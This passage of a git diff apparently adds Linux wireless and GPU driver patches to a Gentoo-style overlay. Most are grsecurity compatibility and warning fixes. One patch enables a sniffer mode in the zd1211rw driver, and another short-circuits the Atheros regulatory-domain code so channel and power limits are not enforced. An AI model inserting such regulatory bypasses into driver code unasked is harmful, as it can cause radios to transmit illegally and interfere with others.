++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+--- ./drivers/net/wireless/ath/ath9k/hw.h
++++ ./drivers/net/wireless/ath/ath9k/hw.h
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/03-read-only-memory.patch b/sys-kernel/compat-drivers/files/3.8-grsec/03-read-only-memory.patch
new file mode 100644
index 00000000..41c87b9a
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/03-read-only-memory.patch
@@ -0,0 +1,11 @@
+--- ./include/drm/ttm/ttm_memory.h
++++ ./include/drm/ttm/ttm_memory.h
+@@ -48,7 +48,7 @@
+ 
+ struct ttm_mem_shrink {
+ 	int (*do_shrink) (struct ttm_mem_shrink *);
+-};
++} __no_const;
+ 
+ /**
+  * struct ttm_mem_global - Global memory accounting structure.
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/04-read-only-brcm80211.patch b/sys-kernel/compat-drivers/files/3.8-grsec/04-read-only-brcm80211.patch
new file mode 100644
index 00000000..865a62d5
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/04-read-only-brcm80211.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
++++ ./drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+@@ -545,7 +545,7 @@
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/05-read-only-i915.patch b/sys-kernel/compat-drivers/files/3.8-grsec/05-read-only-i915.patch
new file mode 100644
index 00000000..15a62f5e
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/05-read-only-i915.patch
@@ -0,0 +1,17 @@
+--- ./drivers/gpu/drm/i915/i915_drv.h
++++ ./drivers/gpu/drm/i915/i915_drv.h
+@@ -284,12 +284,12 @@
+ 	/* render clock increase/decrease */
+ 	/* display clock increase/decrease */
+ 	/* pll clock increase/decrease */
+-};
++} __no_const;
+ 
+ struct drm_i915_gt_funcs {
+ 	void (*force_wake_get)(struct drm_i915_private *dev_priv);
+ 	void (*force_wake_put)(struct drm_i915_private *dev_priv);
+-};
++} __no_const;
+ 
+ #define DEV_INFO_FLAGS \
+ 	DEV_INFO_FLAG(is_mobile) DEV_INFO_SEP \
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/06-read-only-radeon.patch b/sys-kernel/compat-drivers/files/3.8-grsec/06-read-only-radeon.patch
new file mode 100644
index 00000000..f9180c45
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/06-read-only-radeon.patch
@@ -0,0 +1,58 @@
+--- ./drivers/gpu/drm/radeon/radeon.h
++++ ./drivers/gpu/drm/radeon/radeon.h
+@@ -741,7 +741,7 @@
+ 			     int x2, int y2);
+ 	void (*draw_auto)(struct radeon_device *rdev);
+ 	void (*set_default_state)(struct radeon_device *rdev);
+-};
++} __no_const;
+ 
+ struct r600_blit {
+ 	struct radeon_bo	*shader_obj;
+@@ -1173,7 +1173,7 @@
+ 	struct {
+ 		void (*tlb_flush)(struct radeon_device *rdev);
+ 		int (*set_page)(struct radeon_device *rdev, int i, uint64_t addr);
+-	} gart;
++	} __no_const gart;
+ 	struct {
+ 		int (*init)(struct radeon_device *rdev);
+ 		void (*fini)(struct radeon_device *rdev);
+@@ -1214,7 +1214,7 @@
+ 		void (*set_backlight_level)(struct radeon_encoder *radeon_encoder, u8 level);
+ 		/* get backlight level */
+ 		u8 (*get_backlight_level)(struct radeon_encoder *radeon_encoder);
+-	} display;
++	} __no_const display;
+ 	/* copy functions for bo handling */
+ 	struct {
+ 		int (*blit)(struct radeon_device *rdev,
+@@ -1266,7 +1266,7 @@
+ 		int (*get_pcie_lanes)(struct radeon_device *rdev);
+ 		void (*set_pcie_lanes)(struct radeon_device *rdev, int lanes);
+ 		void (*set_clock_gating)(struct radeon_device *rdev, int enable);
+-	} pm;
++	} __no_const pm;
+ 	/* pageflipping */
+ 	struct {
+ 		void (*pre_page_flip)(struct radeon_device *rdev, int crtc);
+@@ -1542,6 +1542,8 @@
+ typedef uint32_t (*radeon_rreg_t)(struct radeon_device*, uint32_t);
+ typedef void (*radeon_wreg_t)(struct radeon_device*, uint32_t, uint32_t);
+ 
++typedef struct vm_operations_struct __no_const vm_operations_struct_no_const; 
++
+ struct radeon_device {
+ 	struct device			*dev;
+ 	struct drm_device		*ddev;
+--- ./drivers/gpu/drm/radeon/radeon_ttm.c
++++ ./drivers/gpu/drm/radeon/radeon_ttm.c
+@@ -791,7 +791,7 @@
+ 	man->size = size >> PAGE_SHIFT;
+ }
+ 
+-static struct vm_operations_struct radeon_ttm_vm_ops;
++static vm_operations_struct_no_const radeon_ttm_vm_ops;
+ static const struct vm_operations_struct *ttm_vm_ops = NULL;
+ 
+ static int radeon_ttm_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/07-read-only-wl1251.patch b/sys-kernel/compat-drivers/files/3.8-grsec/07-read-only-wl1251.patch
new file mode 100644
index 00000000..158f59ab
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/07-read-only-wl1251.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/ti/wl1251/wl1251.h
++++ ./drivers/net/wireless/ti/wl1251/wl1251.h
+@@ -266,7 +266,7 @@
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/08-read-only-ti.patch b/sys-kernel/compat-drivers/files/3.8-grsec/08-read-only-ti.patch
new file mode 100644
index 00000000..8236b601
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/08-read-only-ti.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/ti/wlcore/wlcore.h
++++ ./drivers/net/wireless/ti/wlcore/wlcore.h
+@@ -88,7 +88,7 @@
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/09-read-only-nouveau.patch b/sys-kernel/compat-drivers/files/3.8-grsec/09-read-only-nouveau.patch
new file mode 100644
index 00000000..d4ac0e52
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/09-read-only-nouveau.patch
@@ -0,0 +1,33 @@
+--- ./drivers/gpu/drm/nouveau/nouveau_fence.h
++++ ./drivers/gpu/drm/nouveau/nouveau_fence.h
+@@ -43,7 +43,7 @@
+ 	int  (*sync)(struct nouveau_fence *, struct nouveau_channel *,
+ 		     struct nouveau_channel *);
+ 	u32  (*read)(struct nouveau_channel *);
+-};
++} __no_const;
+ 
+ #define nouveau_fence(drm) ((struct nouveau_fence_priv *)(drm)->fence)
+ 
+--- ./drivers/gpu/drm/nouveau/nouveau_bios.c
++++ ./drivers/gpu/drm/nouveau/nouveau_bios.c
+@@ -1015,7 +1015,7 @@
+ struct bit_table {
+ 	const char id;
+ 	int (* const parse_fn)(struct drm_device *, struct nvbios *, struct bit_entry *);
+-};
++} __no_const;
+ 
+ #define BIT_TABLE(id, funcid) ((struct bit_table){ id, parse_bit_##funcid##_tbl_entry })
+ 
+--- ./include/drm/drm_crtc_helper.h
++++ ./include/drm/drm_crtc_helper.h
+@@ -109,7 +109,7 @@
+ 					    struct drm_connector *connector);
+ 	/* disable encoder when not in use - more explicit than dpms off */
+ 	void (*disable)(struct drm_encoder *encoder);
+-};
++} __no_const;
+ 
+ /**
+  * drm_connector_helper_funcs - helper operations for connectors
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/20-version-disagrement-iwlwifi.patch b/sys-kernel/compat-drivers/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
new file mode 100644
index 00000000..37791f2d
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
@@ -0,0 +1,139 @@
+--- ./drivers/net/wireless/iwlwifi/dvm/debugfs.c
++++ ./drivers/net/wireless/iwlwifi/dvm/debugfs.c
+@@ -203,7 +203,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+--- ./drivers/net/wireless/iwlwifi/pcie/trans.c
++++ ./drivers/net/wireless/iwlwifi/pcie/trans.c
+@@ -1100,7 +1100,7 @@
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1121,7 +1121,7 @@
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
diff --git a/sys-kernel/compat-drivers/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch b/sys-kernel/compat-drivers/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
new file mode 100644
index 00000000..a2b080f5
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
@@ -0,0 +1,17 @@
+ tx.c |    3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index b47435d..751934b 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx)
+ 	if (tx->sta)
+ 		tx->sta->last_tx_rate = txrc.reported_rate;
+ 
+-	if (unlikely(!info->control.rates[0].count))
++	if (unlikely(!info->control.rates[0].count) ||
++	    info->flags & IEEE80211_TX_CTL_NO_ACK)
+ 		info->control.rates[0].count = 1;
+ 
+ 	if (is_multicast_ether_addr(hdr->addr1)) {
diff --git a/sys-kernel/compat-drivers/files/4004_zd1211rw-2.6.28.patch b/sys-kernel/compat-drivers/files/4004_zd1211rw-2.6.28.patch
new file mode 100644
index 00000000..c0697dee
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/4004_zd1211rw-2.6.28.patch
@@ -0,0 +1,37 @@
+diff -Naur linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c
+--- linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 17:49:00.000000000 -0500
++++ linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 18:46:44.000000000 -0500
+@@ -191,14 +191,19 @@
+ static int set_rx_filter(struct zd_mac *mac)
+ {
+ 	unsigned long flags;
+-	u32 filter = STA_RX_FILTER;
++	struct zd_ioreq32 ioreqs[] = {
++		{CR_RX_FILTER, STA_RX_FILTER},
++		{ CR_SNIFFER_ON, 0U },
++	};
+ 
+ 	spin_lock_irqsave(&mac->lock, flags);
+-	if (mac->pass_ctrl)
+-		filter |= RX_FILTER_CTRL;
++	if (mac->pass_ctrl) {
++		ioreqs[0].value |= 0xFFFFFFFF;
++		ioreqs[1].value = 0x1;
++	}
+ 	spin_unlock_irqrestore(&mac->lock, flags);
+ 
+-	return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter);
++	return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs));
+ }
+ 
+ static int set_mc_hash(struct zd_mac *mac)
+@@ -657,7 +662,8 @@
+ 	/* Caller has to ensure that length >= sizeof(struct rx_status). */
+ 	status = (struct rx_status *)
+ 		(buffer + (length - sizeof(struct rx_status)));
+-	if (status->frame_status & ZD_RX_ERROR) {
++	if ((status->frame_status & ZD_RX_ERROR) || 
++		(status->frame_status & ~0x21)) {
+ 		if (mac->pass_failed_fcs &&
+ 				(status->frame_status & ZD_RX_CRC32_ERROR)) {
+ 			stats.flag |= RX_FLAG_FAILED_FCS_CRC;
diff --git a/sys-kernel/compat-drivers/files/ath_regd_optional.patch b/sys-kernel/compat-drivers/files/ath_regd_optional.patch
new file mode 100644
index 00000000..415fc896
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/ath_regd_optional.patch
@@ -0,0 +1,39 @@
+diff -Naur compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c
+--- compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c	2011-06-23 19:02:22.000000000 -0400
++++ compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c	2011-06-26 01:52:35.000000000 -0400
+@@ -193,6 +193,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	for (band = 0; band < IEEE80211_NUM_BANDS; band++) {
+ 
+ 		if (!wiphy->bands[band])
+@@ -252,6 +254,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	sband = wiphy->bands[IEEE80211_BAND_2GHZ];
+ 
+ 	/*
+@@ -299,6 +303,8 @@
+ 	struct ieee80211_channel *ch;
+ 	unsigned int i;
+ 
++	return;
++
+ 	if (!wiphy->bands[IEEE80211_BAND_5GHZ])
+ 		return;
+ 
+@@ -466,6 +472,8 @@
+ {
+ 	const struct ieee80211_regdomain *regd;
+ 
++	return 0;
++
+ 	wiphy->reg_notifier = reg_notifier;
+ 	wiphy->flags |= WIPHY_FLAG_STRICT_REGULATORY;
+ 
diff --git a/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch b/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
new file mode 100644
index 00000000..4ff7a73b
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
@@ -0,0 +1,34 @@
+Fixes for:
+drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’:
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+--- drivers/net/wireless/ath/ath6kl/sdio.c
++++ drivers/net/wireless/ath/ath6kl/sdio.c
+@@ -341,11 +341,14 @@
+ 	scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item);
+ 	scat_req_sz = sizeof(*s_req) + scat_list_sz;
+ 
+-	if (!virt_scat)
++	if (!virt_scat) {
+ 		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
+-	else
++		buf_sz = 0;
++	} else {
++		sg_sz = 0;
+ 		buf_sz =  2 * L1_CACHE_BYTES +
+ 			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	}
+ 
+ 	for (i = 0; i < n_scat_req; i++) {
+ 		/* allocate the scatter request */
+--- drivers/gpu/drm/i915/intel_display.c
++++ drivers/gpu/drm/i915/intel_display.c
+@@ -6216,7 +6216,7 @@
+ 	obj = work->old_fb_obj;
+ 
+ 	atomic_clear_mask(1 << intel_crtc->plane,
+-			  &obj->pending_flip.counter);
++			  &obj->pending_flip);
+ 
+ 	wake_up(&dev_priv->pending_flip_queue);
+ 	schedule_work(&work->work);
diff --git a/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec.patch b/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec.patch
new file mode 100644
index 00000000..9dfc5adf
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec.patch
@@ -0,0 +1,8365 @@
+--- drivers/net/wireless/ath/ath.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath.h	2012-10-15 17:30:59.818924529 +0000
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+--- drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-10-15 17:30:59.816924531 +0000
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
